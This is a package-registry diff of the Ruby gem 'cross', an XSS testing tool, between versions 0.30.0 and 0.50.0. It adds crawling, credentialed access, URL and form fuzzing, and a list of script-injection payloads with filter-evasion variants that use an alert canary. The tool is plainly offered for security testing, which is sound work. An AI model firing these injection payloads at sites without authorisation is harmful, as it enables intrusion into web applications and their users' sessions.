cross 0.30.0 → 0.50.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/bin/cross +55 -10
- data/cross.gemspec +2 -0
- data/lib/cross.rb +1 -1
- data/lib/cross/engine.rb +106 -31
- data/lib/cross/url.rb +69 -0
- data/lib/cross/version.rb +1 -1
- data/lib/cross/xss.rb +6 -0
- data/spec/url_spec.rb +74 -0
- metadata +36 -39
checksums.yaml
ADDED
@@ -0,0 +1,7 @@
|
|
1
|
+
---
|
2
|
+
SHA1:
|
3
|
+
metadata.gz: 72b79605b86769c7845420cf772fe7e5ca4251c9
|
4
|
+
data.tar.gz: de0ec4524597cd129cd1957bdca99587b743f0fa
|
5
|
+
SHA512:
|
6
|
+
metadata.gz: 4164f2710605496b67199f45f03f4b680c3926909f949b825f16b6a799534afca8c56496275c1d5f5e9a80139268ca0e90e2d189367981c14c64920732441c29
|
7
|
+
data.tar.gz: 8cec8b9fb129209cdf5266b5e046bff9265f06aec82c68dc00c8bb0727a259ca2715bfbfd94790d62356d160ed347efa9a3ee44ff30aeb0f13a2efce9726ec36
|
data/bin/cross
CHANGED
@@ -5,16 +5,25 @@ require 'logger'
|
|
5
5
|
require 'mechanize'
|
6
6
|
require 'cross'
|
7
7
|
require 'getoptlong'
|
8
|
+
require 'codesake-commons'
|
8
9
|
|
9
10
|
opts = GetoptLong.new(
|
10
11
|
[ '--help', '-h', GetoptLong::NO_ARGUMENT ],
|
11
12
|
[ '--version', '-v', GetoptLong::NO_ARGUMENT ],
|
12
13
|
['--debug', '-D', GetoptLong::NO_ARGUMENT ],
|
13
|
-
['--
|
14
|
+
['--oneshot', '-1', GetoptLong::NO_ARGUMENT ],
|
15
|
+
['--sample-post', '-S', GetoptLong::REQUIRED_ARGUMENT ],
|
16
|
+
['--tamper', '-t', GetoptLong::REQUIRED_ARGUMENT ],
|
17
|
+
['--exploit-url', '-u', GetoptLong::NO_ARGUMENT ],
|
18
|
+
['--crawl', '-c', GetoptLong::OPTIONAL_ARGUMENT ],
|
19
|
+
['--user', '-U', GetoptLong::REQUIRED_ARGUMENT ],
|
20
|
+
['--password', '-P', GetoptLong::REQUIRED_ARGUMENT ]
|
14
21
|
)
|
15
22
|
trap("INT") { puts '['+'INTERRUPTED'.color(:red)+']'; exit -1 }
|
16
23
|
|
17
|
-
options={:exploit_url=>false, :debug=>false}
|
24
|
+
options={:exploit_url=>false, :debug=>false, :oneshot=>false, :sample_post=>"", :parameter_to_tamper=>"", :crawl=>{:enabled=>false, :url_prefix=>nil}, :auth=>{:username=>nil, :password=>nil}}
|
25
|
+
$logger = Codesake::Commons::Logging.instance
|
26
|
+
$logger.toggle_syslog
|
18
27
|
|
19
28
|
opts.each do |opt, arg|
|
20
29
|
case opt
|
@@ -26,19 +35,55 @@ opts.each do |opt, arg|
|
|
26
35
|
puts " -h: this help"
|
27
36
|
exit 0
|
28
37
|
when '--version'
|
29
|
-
puts "cross " + Cross::VERSION
|
38
|
+
puts "cross " + Cross::VERSION + " (C) 2011, 2012 - paolo@armoredcode.com"
|
30
39
|
exit 0
|
31
|
-
|
32
|
-
|
33
|
-
|
34
|
-
|
40
|
+
when '--oneshot'
|
41
|
+
options[:oneshot] = true
|
42
|
+
when '--tamper'
|
43
|
+
# This option force cross to tamper only the specified form field
|
44
|
+
options[:parameter_to_tamper] = arg unless arg.nil?
|
45
|
+
when '--sample-post'
|
46
|
+
options[:sample_post] = arg unless File.exist?(arg)
|
47
|
+
options[:sample_post] = File.read(arg) if File.exist?(arg) && File.readable?(arg)
|
48
|
+
when '--debug'
|
49
|
+
options[:debug]=true
|
50
|
+
when '--exploit-url'
|
51
|
+
options[:exploit_url]=true
|
52
|
+
|
53
|
+
when '--crawl'
|
54
|
+
options[:crawl][:enabled]=true
|
55
|
+
options[:crawl][:url_prefix] = arg unless arg.nil?
|
56
|
+
when '--user'
|
57
|
+
options[:auth][:username]=arg
|
58
|
+
when '--password'
|
59
|
+
options[:auth][:password]=arg
|
35
60
|
end
|
36
61
|
end
|
37
62
|
|
38
|
-
|
63
|
+
$logger.helo "cross " + Cross::VERSION + " is starting up"
|
39
64
|
|
40
65
|
engine = Cross::Engine.instance
|
41
66
|
engine.start(options)
|
42
67
|
|
43
|
-
|
44
|
-
|
68
|
+
found = false
|
69
|
+
$logger.die "missing target" if ARGV.length != 1
|
70
|
+
$logger.die "-S and -t flag must be used together" if (options[:sample_post].empty? && ! options[:parameter_to_tamper].empty?) or (! options[:sample_post].empty? && options[:parameter_to_tamper].empty?)
|
71
|
+
|
72
|
+
if engine.crawl?
|
73
|
+
result = engine.crawl(ARGV.shift)
|
74
|
+
$logger.die result[:message] if result[:status] == 'KO'
|
75
|
+
|
76
|
+
|
77
|
+
result[:links].each do |l|
|
78
|
+
$logger.log "Exploiting: #{options[:crawl][:url_prefix]+l}"
|
79
|
+
|
80
|
+
found = engine.inject(options[:crawl][:url_prefix]+l)
|
81
|
+
$logger.ok "Canary found in output page. Suspected XSS" if found
|
82
|
+
end
|
83
|
+
else
|
84
|
+
found = engine.inject(ARGV.shift)
|
85
|
+
$logger.ok "Canary found in output page. Suspected XSS" if found
|
86
|
+
end
|
87
|
+
|
88
|
+
$logger.err "Canary not found" if ! found
|
89
|
+
$logger.helo "cross is leaving"
|
data/cross.gemspec
CHANGED
data/lib/cross.rb
CHANGED
data/lib/cross/engine.rb
CHANGED
@@ -13,6 +13,10 @@ module Cross
|
|
13
13
|
attr_reader :agent
|
14
14
|
attr_accessor :options
|
15
15
|
|
16
|
+
def debug?
|
17
|
+
@options[:debug]
|
18
|
+
end
|
19
|
+
|
16
20
|
# Starts the engine
|
17
21
|
def start(options={:exploit_url=>false, :debug=>false, :auth=>{}})
|
18
22
|
@agent = Mechanize.new {|a| a.log = Logger.new("cross.log")}
|
@@ -21,55 +25,126 @@ module Cross
|
|
21
25
|
@options = options
|
22
26
|
end
|
23
27
|
|
24
|
-
def
|
25
|
-
|
26
|
-
|
27
|
-
end
|
28
|
+
def authenticate?
|
29
|
+
! @options[:auth].nil? and ! @options[:auth].empty?
|
30
|
+
end
|
28
31
|
|
29
|
-
|
30
|
-
|
32
|
+
def crawl?
|
33
|
+
@options[:crawl][:enabled]
|
34
|
+
end
|
35
|
+
|
36
|
+
def crawl(url)
|
37
|
+
start if @agent.nil?
|
38
|
+
|
39
|
+
links = []
|
40
|
+
@agent.add_auth(url, @options[:auth][:username], @options[:auth][:password]) if authenticate?
|
41
|
+
begin
|
42
|
+
page=@agent.get(url)
|
43
|
+
page=@agent.get(url) if authenticate?
|
44
|
+
page.links.each do |l|
|
45
|
+
@agent.log.debug("Link found: #{l.href}") if debug?
|
46
|
+
links << l.href
|
47
|
+
end
|
48
|
+
rescue Mechanize::UnauthorizedError
|
49
|
+
return {:status=>'KO', :links=>[], :message=>'target website requires authentication'}
|
50
|
+
rescue => e
|
51
|
+
return {:status=>'KO', :links=>links, :message=>e.to_s}
|
31
52
|
end
|
32
53
|
|
54
|
+
return {:status=>'OK', :links=>links, :message=>''}
|
55
|
+
end
|
56
|
+
|
57
|
+
def inject(url)
|
58
|
+
start if @agent.nil?
|
59
|
+
|
60
|
+
$logger.log "Authenticating to the app using #{@options[:auth][:username]}:#{@options[:auth][:password]}" if debug?
|
61
|
+
|
62
|
+
@agent.add_auth(url, @options[:auth][:username], @options[:auth][:password]) if authenticate?
|
63
|
+
|
33
64
|
found = false
|
34
65
|
if @options[:exploit_url]
|
35
66
|
# You ask to exploit the url, so I won't check for form values
|
36
67
|
|
68
|
+
attack_url = Cross::Url.new(url)
|
69
|
+
|
37
70
|
Cross::Attack::XSS.each do |pattern|
|
38
|
-
|
71
|
+
attack_url.params.each do |par|
|
39
72
|
|
40
|
-
|
41
|
-
@agent.log.debug(page.body)
|
42
|
-
|
43
|
-
|
44
|
-
|
45
|
-
|
46
|
-
|
47
|
-
end
|
48
|
-
if @options[:debug]
|
49
|
-
@agent.log.debug(sc.children.text)
|
73
|
+
page = @agent.get(attack_url.fuzz(par[:name],pattern))
|
74
|
+
@agent.log.debug(page.body) if debug?
|
75
|
+
|
76
|
+
scripts = page.search("//script")
|
77
|
+
scripts.each do |sc|
|
78
|
+
$logger.log(page.body) if @options[:debug] if sc.children.text.include?("alert('cross canary')")
|
79
|
+
return true if sc.children.text.include?("alert('cross canary')")
|
50
80
|
end
|
51
|
-
end
|
52
81
|
|
53
|
-
|
82
|
+
return false if options[:oneshot]
|
83
|
+
|
84
|
+
attack_url.reset
|
85
|
+
end
|
54
86
|
end
|
55
87
|
|
56
88
|
else
|
57
|
-
|
58
|
-
|
59
|
-
|
60
|
-
|
61
|
-
|
62
|
-
|
63
|
-
|
64
|
-
|
65
|
-
|
66
|
-
|
89
|
+
begin
|
90
|
+
page = @agent.get(url)
|
91
|
+
rescue Mechanize::UnauthorizedError
|
92
|
+
$logger.err 'Authentication failed. Giving up.'
|
93
|
+
return false
|
94
|
+
rescue Mechanize::ResponseCodeError
|
95
|
+
$logger.err 'Server gave back 404. Giving up.'
|
96
|
+
return false
|
97
|
+
rescue Net::HTTP::Persistent::Error => e
|
98
|
+
$logger.err e.message
|
99
|
+
return false
|
100
|
+
end
|
101
|
+
|
102
|
+
$logger.log "#{page.forms.size} form(s) found" if debug?
|
103
|
+
|
104
|
+
Cross::Attack::XSS.each do |pattern|
|
105
|
+
|
106
|
+
$logger.log "using attack vector: #{pattern}" if debug?
|
107
|
+
|
108
|
+
|
109
|
+
page.forms.each do |f|
|
110
|
+
f.fields.each do |ff|
|
111
|
+
if options[:sample_post].empty?
|
112
|
+
ff.value = pattern if options[:parameter_to_tamper].empty?
|
113
|
+
ff.value = pattern if ! options[:parameter_to_tamper].empty? && ff.name==options[:parameter_to_tamper]
|
114
|
+
else
|
115
|
+
ff.value = find_sample_value_for(options[:sample_post], ff.name) unless ff.name==options[:parameter_to_tamper]
|
116
|
+
ff.value = pattern if ff.name==options[:parameter_to_tamper]
|
117
|
+
|
118
|
+
|
119
|
+
# promo=Promo1&codice=&nome=&cognome=&indirizzo=%3Cscript%3Ealert%28%27cross+canary%27%29%3C%2Fscript%3E&comune=&CAP=&provincia=&num1=&num2=&mail=&codfisc=&fase=1
|
120
|
+
end
|
67
121
|
end
|
68
|
-
|
69
|
-
|
122
|
+
|
123
|
+
pp = @agent.submit(f)
|
124
|
+
$logger.log "header: #{pp.header}" if debug? && ! pp.header.empty?
|
125
|
+
$logger.log "body: #{pp.body}" if debug? && ! pp.body.empty?
|
126
|
+
$logger.err "Page is empty" if pp.body.empty?
|
127
|
+
scripts = pp.search("//script")
|
128
|
+
scripts.each do |sc|
|
129
|
+
return true if sc.children.text.include?("alert('cross canary')")
|
130
|
+
end
|
131
|
+
end
|
132
|
+
return false if options[:oneshot]
|
133
|
+
end
|
70
134
|
end
|
71
135
|
found
|
72
136
|
end
|
73
137
|
|
138
|
+
|
139
|
+
private
|
140
|
+
def find_sample_value_for(sample, name)
|
141
|
+
v=sample.split('&')
|
142
|
+
v.each do |post_param|
|
143
|
+
post_param_v = post_param.split('=')
|
144
|
+
return post_param_v[1] if post_param_v[0] == name
|
145
|
+
end
|
146
|
+
|
147
|
+
return ""
|
148
|
+
end
|
74
149
|
end
|
75
150
|
end
|
data/lib/cross/url.rb
ADDED
@@ -0,0 +1,69 @@
|
|
1
|
+
module Cross
|
2
|
+
class Url
|
3
|
+
|
4
|
+
attr_reader :url
|
5
|
+
attr_reader :base_url
|
6
|
+
attr_reader :params
|
7
|
+
attr_reader :original_params
|
8
|
+
|
9
|
+
def initialize(url)
|
10
|
+
@url = url
|
11
|
+
@params = []
|
12
|
+
@original_params = []
|
13
|
+
@base_url = url.split('?')[0]
|
14
|
+
p_array = url.split('?')[1].split('&')
|
15
|
+
p_array.each do |p|
|
16
|
+
pp = p.split('=')
|
17
|
+
param = {}
|
18
|
+
param[:name] = pp[0]
|
19
|
+
param[:value] = pp[1] unless pp[1].nil?
|
20
|
+
|
21
|
+
@params << param
|
22
|
+
@original_params << param.dup
|
23
|
+
end
|
24
|
+
@original_params.freeze
|
25
|
+
end
|
26
|
+
|
27
|
+
def to_s
|
28
|
+
"#{@base_url}?#{params_to_url}"
|
29
|
+
end
|
30
|
+
|
31
|
+
def fuzz(name, value)
|
32
|
+
set(name, value)
|
33
|
+
"#{@base_url}?#{params_to_url}"
|
34
|
+
end
|
35
|
+
|
36
|
+
def get(name)
|
37
|
+
value = nil
|
38
|
+
@params.each do |p|
|
39
|
+
value = p[:value] if p[:name] == name
|
40
|
+
end
|
41
|
+
value
|
42
|
+
end
|
43
|
+
|
44
|
+
def set(name, value)
|
45
|
+
@params.each do |p|
|
46
|
+
p[:value] = value if p[:name] == name
|
47
|
+
end
|
48
|
+
end
|
49
|
+
|
50
|
+
def reset
|
51
|
+
@params = []
|
52
|
+
@original_params.each do |p|
|
53
|
+
@params << p.dup
|
54
|
+
end
|
55
|
+
end
|
56
|
+
|
57
|
+
def params_to_url
|
58
|
+
ret = ""
|
59
|
+
@params.each do |p|
|
60
|
+
ret += "#{p[:name]}=#{p[:value]}"
|
61
|
+
if !(p == @params.last)
|
62
|
+
ret +="&"
|
63
|
+
end
|
64
|
+
end
|
65
|
+
ret
|
66
|
+
|
67
|
+
end
|
68
|
+
end
|
69
|
+
end
|
data/lib/cross/version.rb
CHANGED
data/lib/cross/xss.rb
CHANGED
@@ -5,11 +5,17 @@ module Cross
|
|
5
5
|
def self.each
|
6
6
|
|
7
7
|
evasions = [
|
8
|
+
"<script>alert('cross canary')</script>",
|
8
9
|
"<script>alert('cross canary');</script>",
|
10
|
+
"/--><script>alert('cross canary')</script>",
|
9
11
|
"/--><script>alert('cross canary');</script>",
|
12
|
+
"/--></ScRiPt><ScRiPt>alert('cross canary')</ScRiPt>",
|
10
13
|
"/--></ScRiPt><ScRiPt>alert('cross canary');</ScRiPt>",
|
14
|
+
"//;-->alert('cross canary')",
|
11
15
|
"//;-->alert('cross canary');",
|
16
|
+
"\"//;\nalert('cross canary')",
|
12
17
|
"\"//;\nalert('cross canary');",
|
18
|
+
" onmouseover=alert('1');",
|
13
19
|
# more exotic vectors (antisnatchor's collection)
|
14
20
|
"<script/anyjunk>alert('cross canary')</script>",
|
15
21
|
"<<script>alert('cross canary');//<</script>",
|
data/spec/url_spec.rb
ADDED
@@ -0,0 +1,74 @@
|
|
1
|
+
require 'spec_helper'
|
2
|
+
|
3
|
+
describe "Url fuzzer" do
|
4
|
+
let (:url) {Cross::Url.new("http://localhost:8080/WebGoat/attack?Screen=130&menu=900")}
|
5
|
+
it "will recognize the param list" do
|
6
|
+
url.params.class.should == Array
|
7
|
+
url.params.size.should == 2
|
8
|
+
end
|
9
|
+
|
10
|
+
it "will recognize parameter names" do
|
11
|
+
url.params[0][:name].should == 'Screen'
|
12
|
+
url.params[1][:name].should == 'menu'
|
13
|
+
end
|
14
|
+
|
15
|
+
it "will recognize parameter values" do
|
16
|
+
url.params[0][:value].should == "130"
|
17
|
+
url.params[1][:value].should == "900"
|
18
|
+
end
|
19
|
+
|
20
|
+
it "will provide a get shortcut for getting parameters value" do
|
21
|
+
url.get("Screen").should == "130"
|
22
|
+
url.get("menu").should == "900"
|
23
|
+
end
|
24
|
+
|
25
|
+
it "will handle errors smoothly" do
|
26
|
+
url.get("nonexistent").should be_nil
|
27
|
+
end
|
28
|
+
|
29
|
+
it "will make a copy of parameters" do
|
30
|
+
url.original_params.should == url.params
|
31
|
+
end
|
32
|
+
|
33
|
+
it "will make params Array to be reverted as string" do
|
34
|
+
url.params_to_url.should == "Screen=130&menu=900"
|
35
|
+
end
|
36
|
+
|
37
|
+
describe "will provide an handy set shortcut that" do
|
38
|
+
it "sets an existing params to a given value" do
|
39
|
+
url.set("Screen", "123")
|
40
|
+
url.get("Screen").should == "123"
|
41
|
+
end
|
42
|
+
|
43
|
+
it "handle the error condition smootly" do
|
44
|
+
url.set("nonexistent", false)
|
45
|
+
url.original_params.should == url.params
|
46
|
+
end
|
47
|
+
|
48
|
+
it "won't change the original params" do
|
49
|
+
url.set("Screen", "123")
|
50
|
+
url.original_params.should_not == url.params
|
51
|
+
end
|
52
|
+
end
|
53
|
+
it "will fuzz" do
|
54
|
+
url.fuzz("Screen", "12").should == "http://localhost:8080/WebGoat/attack?Screen=12&menu=900"
|
55
|
+
url.fuzz("Screen", "afuzztest").should == "http://localhost:8080/WebGoat/attack?Screen=afuzztest&menu=900"
|
56
|
+
url.fuzz("menu", "11").should == "http://localhost:8080/WebGoat/attack?Screen=afuzztest&menu=11"
|
57
|
+
end
|
58
|
+
|
59
|
+
it "will fuzz honoring original params if requested" do
|
60
|
+
url.reset
|
61
|
+
url.get("Screen").should == "130"
|
62
|
+
url.get("menu").should == "900"
|
63
|
+
url.fuzz("Screen", "12").should == "http://localhost:8080/WebGoat/attack?Screen=12&menu=900"
|
64
|
+
url.reset
|
65
|
+
url.get("Screen").should == "130"
|
66
|
+
url.get("menu").should == "900"
|
67
|
+
url.fuzz("Screen", "afuzztest").should == "http://localhost:8080/WebGoat/attack?Screen=afuzztest&menu=900"
|
68
|
+
url.reset
|
69
|
+
url.get("Screen").should == "130"
|
70
|
+
url.get("menu").should == "900"
|
71
|
+
url.fuzz("menu", "11").should == "http://localhost:8080/WebGoat/attack?Screen=130&menu=11"
|
72
|
+
|
73
|
+
end
|
74
|
+
end
|
metadata
CHANGED
@@ -1,110 +1,111 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: cross
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 0.
|
5
|
-
prerelease:
|
4
|
+
version: 0.50.0
|
6
5
|
platform: ruby
|
7
6
|
authors:
|
8
7
|
- Paolo Perego
|
9
8
|
autorequire:
|
10
9
|
bindir: bin
|
11
10
|
cert_chain: []
|
12
|
-
date:
|
11
|
+
date: 2013-10-11 00:00:00.000000000 Z
|
13
12
|
dependencies:
|
14
13
|
- !ruby/object:Gem::Dependency
|
15
14
|
name: rake
|
16
15
|
requirement: !ruby/object:Gem::Requirement
|
17
|
-
none: false
|
18
16
|
requirements:
|
19
|
-
- -
|
17
|
+
- - '>='
|
20
18
|
- !ruby/object:Gem::Version
|
21
19
|
version: '0'
|
22
20
|
type: :development
|
23
21
|
prerelease: false
|
24
22
|
version_requirements: !ruby/object:Gem::Requirement
|
25
|
-
none: false
|
26
23
|
requirements:
|
27
|
-
- -
|
24
|
+
- - '>='
|
28
25
|
- !ruby/object:Gem::Version
|
29
26
|
version: '0'
|
30
27
|
- !ruby/object:Gem::Dependency
|
31
28
|
name: rspec
|
32
29
|
requirement: !ruby/object:Gem::Requirement
|
33
|
-
none: false
|
34
30
|
requirements:
|
35
|
-
- -
|
31
|
+
- - '>='
|
36
32
|
- !ruby/object:Gem::Version
|
37
33
|
version: '0'
|
38
34
|
type: :development
|
39
35
|
prerelease: false
|
40
36
|
version_requirements: !ruby/object:Gem::Requirement
|
41
|
-
none: false
|
42
37
|
requirements:
|
43
|
-
- -
|
38
|
+
- - '>='
|
44
39
|
- !ruby/object:Gem::Version
|
45
40
|
version: '0'
|
46
41
|
- !ruby/object:Gem::Dependency
|
47
42
|
name: rest-open-uri
|
48
43
|
requirement: !ruby/object:Gem::Requirement
|
49
|
-
none: false
|
50
44
|
requirements:
|
51
|
-
- -
|
45
|
+
- - '>='
|
52
46
|
- !ruby/object:Gem::Version
|
53
47
|
version: '0'
|
54
48
|
type: :runtime
|
55
49
|
prerelease: false
|
56
50
|
version_requirements: !ruby/object:Gem::Requirement
|
57
|
-
none: false
|
58
51
|
requirements:
|
59
|
-
- -
|
52
|
+
- - '>='
|
60
53
|
- !ruby/object:Gem::Version
|
61
54
|
version: '0'
|
62
55
|
- !ruby/object:Gem::Dependency
|
63
56
|
name: mechanize
|
64
57
|
requirement: !ruby/object:Gem::Requirement
|
65
|
-
none: false
|
66
58
|
requirements:
|
67
|
-
- -
|
59
|
+
- - '>='
|
68
60
|
- !ruby/object:Gem::Version
|
69
61
|
version: '0'
|
70
62
|
type: :runtime
|
71
63
|
prerelease: false
|
72
64
|
version_requirements: !ruby/object:Gem::Requirement
|
73
|
-
none: false
|
74
65
|
requirements:
|
75
|
-
- -
|
66
|
+
- - '>='
|
76
67
|
- !ruby/object:Gem::Version
|
77
68
|
version: '0'
|
78
69
|
- !ruby/object:Gem::Dependency
|
79
70
|
name: logger
|
80
71
|
requirement: !ruby/object:Gem::Requirement
|
81
|
-
none: false
|
82
72
|
requirements:
|
83
|
-
- -
|
73
|
+
- - '>='
|
84
74
|
- !ruby/object:Gem::Version
|
85
75
|
version: '0'
|
86
76
|
type: :runtime
|
87
77
|
prerelease: false
|
88
78
|
version_requirements: !ruby/object:Gem::Requirement
|
89
|
-
none: false
|
90
79
|
requirements:
|
91
|
-
- -
|
80
|
+
- - '>='
|
92
81
|
- !ruby/object:Gem::Version
|
93
82
|
version: '0'
|
94
83
|
- !ruby/object:Gem::Dependency
|
95
84
|
name: rainbow
|
96
85
|
requirement: !ruby/object:Gem::Requirement
|
97
|
-
none: false
|
98
86
|
requirements:
|
99
|
-
- -
|
87
|
+
- - '>='
|
100
88
|
- !ruby/object:Gem::Version
|
101
89
|
version: '0'
|
102
90
|
type: :runtime
|
103
91
|
prerelease: false
|
104
92
|
version_requirements: !ruby/object:Gem::Requirement
|
105
|
-
none: false
|
106
93
|
requirements:
|
107
|
-
- -
|
94
|
+
- - '>='
|
95
|
+
- !ruby/object:Gem::Version
|
96
|
+
version: '0'
|
97
|
+
- !ruby/object:Gem::Dependency
|
98
|
+
name: codesake-commons
|
99
|
+
requirement: !ruby/object:Gem::Requirement
|
100
|
+
requirements:
|
101
|
+
- - '>='
|
102
|
+
- !ruby/object:Gem::Version
|
103
|
+
version: '0'
|
104
|
+
type: :runtime
|
105
|
+
prerelease: false
|
106
|
+
version_requirements: !ruby/object:Gem::Requirement
|
107
|
+
requirements:
|
108
|
+
- - '>='
|
108
109
|
- !ruby/object:Gem::Version
|
109
110
|
version: '0'
|
110
111
|
description: cross is a cross site scripting testing tool
|
@@ -128,40 +129,36 @@ files:
|
|
128
129
|
- cross.gemspec
|
129
130
|
- lib/cross.rb
|
130
131
|
- lib/cross/engine.rb
|
132
|
+
- lib/cross/url.rb
|
131
133
|
- lib/cross/version.rb
|
132
134
|
- lib/cross/xss.rb
|
133
135
|
- spec/cross_spec.rb
|
134
136
|
- spec/spec_helper.rb
|
137
|
+
- spec/url_spec.rb
|
135
138
|
homepage: ''
|
136
139
|
licenses: []
|
140
|
+
metadata: {}
|
137
141
|
post_install_message:
|
138
142
|
rdoc_options: []
|
139
143
|
require_paths:
|
140
144
|
- lib
|
141
145
|
required_ruby_version: !ruby/object:Gem::Requirement
|
142
|
-
none: false
|
143
146
|
requirements:
|
144
|
-
- -
|
147
|
+
- - '>='
|
145
148
|
- !ruby/object:Gem::Version
|
146
149
|
version: '0'
|
147
|
-
segments:
|
148
|
-
- 0
|
149
|
-
hash: 3227883298359843932
|
150
150
|
required_rubygems_version: !ruby/object:Gem::Requirement
|
151
|
-
none: false
|
152
151
|
requirements:
|
153
|
-
- -
|
152
|
+
- - '>='
|
154
153
|
- !ruby/object:Gem::Version
|
155
154
|
version: '0'
|
156
|
-
segments:
|
157
|
-
- 0
|
158
|
-
hash: 3227883298359843932
|
159
155
|
requirements: []
|
160
156
|
rubyforge_project:
|
161
|
-
rubygems_version:
|
157
|
+
rubygems_version: 2.0.4
|
162
158
|
signing_key:
|
163
|
-
specification_version:
|
159
|
+
specification_version: 4
|
164
160
|
summary: cross is a cross site scripting testing tool
|
165
161
|
test_files:
|
166
162
|
- spec/cross_spec.rb
|
167
163
|
- spec/spec_helper.rb
|
164
|
+
- spec/url_spec.rb
|